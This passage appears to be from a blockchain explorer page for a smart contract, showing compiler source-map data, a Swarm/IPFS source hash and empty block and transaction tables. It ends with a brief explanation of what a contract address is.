17:0;-1:-1:-1;;;;;4804:17:0;;;;;;;;;;4350:479::o;7731:166::-;7827:5;;7788:4;;-1:-1:-1;;;;;7827:5:0;7813:10;:19;7805:28;;;;;;-1:-1:-1;7846:12:0;:19;;-1:-1:-1;;;;;;7846:19:0;-1:-1:-1;;;;;7846:19:0;;;;;;;;;;-1:-1:-1;;7731:166:0:o;4837:486::-;5097:5;;4954:4;;-1:-1:-1;;;;;5088:14:0;;;5097:5;;5088:14;;:43;;-1:-1:-1;5126:5:0;;-1:-1:-1;;;;;5119:12:0;;;5126:5;;5119:12;5088:43;:81;;;-1:-1:-1;5157:12:0;;-1:-1:-1;;;;;5148:21:0;;;5157:12;;5148:21;5088:81;:112;;;-1:-1:-1;;;;;;5186:14:0;;;;;;:7;:14;;;;;;;;5088:112;5070:180;;;-1:-1:-1;5234:4:0;5227:11;;5070:180;5268:24;5278:5;5285:6;5268:9;:24::i;:::-;5260:33;;;;;;-1:-1:-1;5311:4:0;4837:486;;;;;:::o;7905:507::-;8005:4;8031:8;;8043:1;8031:13;:30;;;;-1:-1:-1;8048:8:0;;:13;8031:30;:47;;;;-1:-1:-1;8065:8:0;;:13;8031:47;8027:65;;;-1:-1:-1;8087:5:0;8080:12;;8027:65;8109:8;;:12;8105:92;;8163:8;;-1:-1:-1;;;;;8142:17:0;;;;;;:10;:17;;;;;;:29;8138:47;;-1:-1:-1;8180:5:0;8173:12;;8138:47;8213:8;;:12;8209:80;;8257:6;8246:8;;:17;8242:35;;;-1:-1:-1;8272:5:0;8265:12;;8242:35;8305:8;;:12;8301:80;;8347:8;;8338:6;:17;8334:35;;;-1:-1:-1;8364:5:0;8357:12;;8334:35;-1:-1:-1;8400:4:0;7905:507;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1586:328::-;1663:6;1671;1679;1732:2;1720:9;1711:7;1707:23;1703:32;1700:52;;;1748:1;1745;1738:12;1700:52;1771:29;1790:9;1771:29;:::i;:::-;1761:39;;1819:38;1853:2;1842:9;1838:18;1819:38;:::i;:::-;1809:48;;1904:2;1893:9;1889:18;1876:32;1866:42;;1586:328;;;;;:::o;1919:186::-;1978:6;2031:2;2019:9;2010:7;2006:23;2002:32;1999:52;;;2047:1;2044;2037:12;1999:52;2070:29;2089:9;2070:29;:::i;2110:260::-;2178:6;2186;2239:2;2227:9;2218:7;2214:23;2210:32;2207:52;;;2255:1;2252;2245:12;2207:52;2278:29;2297:9;2278:29;:::i;:::-;2268:39;;2326:38;2360:2;2349:9;2345:18;2326:38;:::i;:::-;2316:48;;2110:260;;;;;:::o;2375:380::-;2454:1;2450:12;;;;2497;;;2518:61;;2572:4;2564:6;2560:17;2550:27;;2518:61;2625:2;2617:6;2614:14;2594:18;2591:38;2588:161;;2671:10;2666:3;2662:20;2659:1;2652:31;2706:4;2703:1;2696:15;2734:4;2731:1;2724:15;2588:161;;2375:380;;;:::o;2760:127::-;2821:10;2816:3;2812:20;2809:1;2802:31;2852:4;2849:1;2842:15;2876:4;2873:1;2866:15;2892:128;2959:9;;;2980:11;;;2977:37;;;2994:18;;:::i;3025:125::-;3090:9;;;3111:10;;;3108:36;;;3124:18;;:::i;3155:135::-;3194:3;3215:17;;;3212:43;;3235:18;;:::i;:::-;-1:-1:-1;3282:1:1;3271:13;;3155:135::o;3295:416::-;3384:1;3421:5;3384:1;3435:270;3456:7;3446:8;3443:21;3435:270;;;3515:4;3511:1;3507:6;3503:17;3497:4;3494:27;3491:53;;;3524:18;;:::i;:::-;3574:7;3564:8;3560:22;3557:55;;;3594:16;;;;3557:55;3673:22;;;;3633:15;;;;3435:270;;;3439:3;3295:416;;;;;:::o;3716:806::-;3765:5;3795:8;3785:80;;-1:-1:-1;3836:1:1;3850:5;;3785:80;3884:4;3874:76;;-1:-1:-1;3921:1:1;3935:5;;3874:76;3966:4;3984:1;3979:59;;;;4052:1;4047:130;;;;3959:218;;3979:59;4009:1;4000:10;;4023:5;;;4047:130;4084:3;4074:8;4071:17;4068:43;;;4091:18;;:::i;:::-;-1:-1:-1;;4147:1:1;4133:16;;4162:5;;3959:218;;4261:2;4251:8;4248:16;4242:3;4236:4;4233:13;4229:36;4223:2;4213:8;4210:16;4205:2;4199:4;4196:12;4192:35;4189:77;4186:159;;;-1:-1:-1;4298:19:1;;;4330:5;;4186:159;4377:34;4402:8;4396:4;4377:34;:::i;:::-;4447:6;4443:1;4439:6;4435:19;4426:7;4423:32;4420:58;;;4458:18;;:::i;:::-;4496:20;;3716:806;-1:-1:-1;;;3716:806:1:o;4527:131::-;4587:5;4616:36;4643:8;4637:4;4616:36;:::i;4663:168::-;4736:9;;;4767;;4784:15;;;4778:22;;4764:37;4754:71;;4805:18;;:::i

Swarm Source

ipfs://a718d9fb57618aec61cd2ea0a3c1312233c7e0e88dbd7fba54e50bdd421e4510

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.